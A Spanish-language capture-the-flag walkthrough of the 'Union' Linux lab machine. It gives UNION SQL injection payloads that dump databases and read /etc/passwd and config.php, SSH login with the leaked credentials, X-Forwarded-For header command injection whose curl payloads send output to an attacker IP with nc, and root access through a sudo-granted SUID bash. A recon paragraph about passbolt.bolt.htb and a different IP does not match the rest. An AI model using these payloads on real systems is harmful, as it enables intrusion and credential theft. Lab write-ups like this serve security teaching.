Entrada

Union

Union

Skills

  • SQLI (SQL Injection) - UNION Injection
  • SQLI (Read Files)
  • HTTP Header Command Injection - X-FORWARDED-FOR [RCE]
  • Abusing Sudoers [Privilege Escalation]

Certificaciones

  • eJPT
  • eWPT

Descripción

Union es una máquina medium linux, la estaremos vulnerando a través de una SQLI (Sql Injection), obtendremos las credenciales de la base de datos mediante un LOAD_FILE, con estas credenciales accederemos a la máquina víctima por SSH, posteriormente encontraremos un archivo de configuración de la web, este archivo nos permitirá ejecutar comandos como www-data quién está en el sudoers y puede ejecutar cualquier comando como usuario root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
10
11
# ping 10.129.96.75
PING 10.129.96.75 (10.129.96.75) 56(84) bytes of data.
64 bytes from 10.129.96.75: icmp_seq=1 ttl=63 time=74.3 ms
64 bytes from 10.129.96.75: icmp_seq=2 ttl=63 time=76.8 ms
64 bytes from 10.129.96.75: icmp_seq=3 ttl=63 time=76.1 ms
64 bytes from 10.129.96.75: icmp_seq=4 ttl=63 time=77.3 ms
64 bytes from 10.129.96.75: icmp_seq=9 ttl=63 time=73.6 ms
^C
--- 10.129.96.75 ping statistics ---
9 packets transmitted, 5 received, 44.4444% packet loss, time 8108ms
rtt min/avg/max/mdev = 73.597/75.610/77.252/1.414 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.75 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 11:43 CEST
Initiating SYN Stealth Scan at 11:43
Scanning 10.129.96.75 [65535 ports]
Discovered open port 80/tcp on 10.129.96.75
Completed SYN Stealth Scan at 11:43, 26.36s elapsed (65535 total ports)
Nmap scan report for 10.129.96.75
Host is up (0.063s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.45 seconds
           Raw packets sent: 131088 (5.768MB) | Rcvd: 20 (880B)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p80 10.129.96.75 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 11:44 CEST
Nmap scan report for 10.129.96.75
Host is up (0.062s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

Nmap ha detectado un common name analizando el certificado ssl, esto se puede hacer también de forma manual openssl s_client --connect 10.129.254.109:443, en el certificado ssl aparece el common name passbolt.bolt.htb que parece un subdominio. Por lo tanto al /etc/hosts vamos a añadir passbolt.bolt.htb y bolt.htb

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.254.109	bolt.htb passbolt.bolt.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Enumeration

Lo primero que vemos es lo siguiente

Con wappalyzer vemos que se está usando php en la web

Esto es lo que vemos al enviar una palabra aleatoria

Si pulsamos en el enlace nos envía a /challenge.php

Fuzzeamos en busca de nuevas rutas encontramos varias interesantes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# wfuzz -t 100 -c --hc 404 -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,.php http://10.129.96.75/FUZZFUZ2Z 
 /home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.96.75/FUZZFUZ2Z
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000001:   200        42 L     93 W       1220 Ch     "index - .php"                                                                                                        
000001476:   200        0 L      0 W        0 Ch        "config - .php"                                                                                                       
000004085:   200        20 L     61 W       772 Ch      "challenge - .php"                                                                                                    
000000867:   200        0 L      2 W        13 Ch       "firewall - .php"  

Debido a que no he encontrado rutas interesantes, he capturado la petición con burpsuite y he encontrado una SQLI (Sql Injection)

1
player=' or 1=1-- - 

Al parecer Ippsec es un usuario válido

Web Exploitation

Desde burspuite seguimos con la inyección sql, he intentado hacer un order by para ver el número de filas pero no ha funcionado, así que he pasado directamente al union select. Al parecer nos encontramos ante un SQLI Error Based

1
player=' union select 1-- - 

Listamos la versión para ver ante que nos estamos enfrentando, usualmente nos devolverá el nombre de la base de datos en uso, pero en este caso no es así

1
player=' union select version()-- - 

Si hacemos esta búsqueda en google 8.0.27-0ubuntu0.20.04.1 database, veremos que estamos ante un mysql

La base de datos a la que nos enfrentamos se llama november

1
player=' union select database()-- - 

Listamos todas las bases de datos existentes

1
player=' union select group_concat(schema_name) from information_schema.schemata-- - 

Listamos las tablas de la base de datos november

1
player=' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- - 

Listamos columnas de la tabla flag

1
player=' union select group_concat(column_name) FROM information_schema.columns WHERE table_name='flag' AND table_schema='november'-- - 

Listamos columnas de la tabla players

1
player=' union select group_concat(column_name) FROM information_schema.columns WHERE table_name='players' AND table_schema='november'-- - 

Listamos todos los players registrados

1
player=' union select group_concat(player) from players-- - 

Listamos todas las flags

1
player=' union select group_concat(one) FROM flag-- - 

Ahora que tenemos la flag vamos a hacer los mismos pasos de antes, nos registramos como usuario test

Abrimos la pestaña de /challengue y ponemos la flag obtenida UHC{F1rst_5tep_2_Qualify}

Al darle a Join Now vemos lo siguiente, lo cual puede tener sentido ya que antes hemos visto un /firewall.php

Al acceder a /firewall.php ahora nos esta misma pantalla, antes no ponía acces denied, si volvemos a escanear los puertos, vemos que el puerto 22 del SSH está abierto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.75 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 12:52 CEST
Initiating SYN Stealth Scan at 12:52
Scanning 10.129.96.75 [65535 ports]
Discovered open port 22/tcp on 10.129.96.75
Discovered open port 80/tcp on 10.129.96.75
Completed SYN Stealth Scan at 12:52, 13.73s elapsed (65535 total ports)
Nmap scan report for 10.129.96.75
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.81 seconds
           Raw packets sent: 67041 (2.950MB) | Rcvd: 67041 (2.682MB)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p80,22 10.129.96.75 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 12:52 CEST
Nmap scan report for 10.129.96.75
Host is up (0.082s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds

Como he visto que la página web tenía habilitado php, nginx y ahora nos han abierto el ssh he pensado en que se podría hacer un log poisoning, a parte del log poisoning se podría obtener el archivo config.php que hemos encontrado fuzzeando que puede tener credenciales interesantes, pero para ello necesitaríamos leer archivos de la máquina y eso lo podríamos hacer desde mysql

1
player=' union select LOAD_FILE('/etc/passwd')'-- - 

No me ha dejado leer los logs de ssh, he probado con los archivos de configuración de nginx y si que me ha dejado, al final he obtenido credenciales leyendo el archivo config.php que era lo más obvio

1
player=' union select LOAD_FILE('/var/www/html/config.php')-- - 

Estás son las credenciales a la base de datos november y podemos utilizarlas para intentar conectarnos por SSH

1
2
$username = "uhc";
$password = "uhc-11qual-global-pw";

Intrusión

Reutilizamos las credenciales para la base de datos encontradas y nos conectamos por SSH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# ssh uhc@10.129.96.75   
uhc@10.129.96.75's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ whoami
uhc

Privilege Escalation

Inspeccionando archivos he encontrado este interesante debido a que se ejecuta un comando como sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
uhc@union:/var/www/html$ cat firewall.php 
<?php
require('config.php');

if (!($_SESSION['Authenticated'])) {
  echo "Access Denied";
  exit;
}

?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->

<div class="container">
		<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
		
	</div>
	<section class="bg-dark text-center p-5 mt-4">
		<div class="container p-5">
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
              <h1 class="text-white">Welcome Back!</h1>
              <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
		</div>
	</section>
</div>
uhc@union:/var/www/html$ cat /tmp/putas.txt 
root
uhc@union:/var/www/html$ ls
challenge.php  config.php  css  firewall.php  index.php
uhc@union:/var/www/html$ cat firewall.php 
<?php
require('config.php');

if (!($_SESSION['Authenticated'])) {
  echo "Access Denied";
  exit;
}

?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->

<div class="container">
		<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
		
	</div>
	<section class="bg-dark text-center p-5 mt-4">
		<div class="container p-5">
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
              <h1 class="text-white">Welcome Back!</h1>
              <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
		</div>
	</section>
</div>

A través de la cabecera X-Forwarded-For podemos inyectar un comando, lo primero que vamos a hacer es ponernos en escucha con netcat

1
# nc -nlvp 443

Y seguidamente vamos a ejecutar este payload

1
# curl -X POST -H "X-Forwarded-For: ;whoami | nc 10.10.16.15 443;" -H "Cookie: PHPSESSID=rnotnlb104dla39p1h90029lse" -d 'flag=UHC{F1rst_5tep_2_Qualify}' http://10.129.96.75/challenge.php -L

Lo que recibimos en nuestro equipo es lo siguiente, tenemos un RCE (Remote Code Execution)

1
2
3
4
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.75] 40308
www-data

Según esto podemos ejecutar como www-data cualquier comando como el usuario root

1
2
3
4
5
6
7
8
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.75] 40320
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL

Le damos permisos SUID a la bash

1
# curl -X POST -H "X-Forwarded-For: ;sudo chmod u+s /usr/bin/bash;" -H "Cookie: PHPSESSID=rnotnlb104dla39p1h90029lse" -d 'flag=UHC{F1rst_5tep_2_Qualify}' http://10.129.96.75/challenge.php -L 

Al tener la bash permisos SUID podemos ejecutarla como el propietario, es decir, root

1
2
3
4
5
uhc@union:/var/www/html$ ls -l /usr/bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /usr/bin/bash
uhc@union:/var/www/html$ bash -p
bash-5.0# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.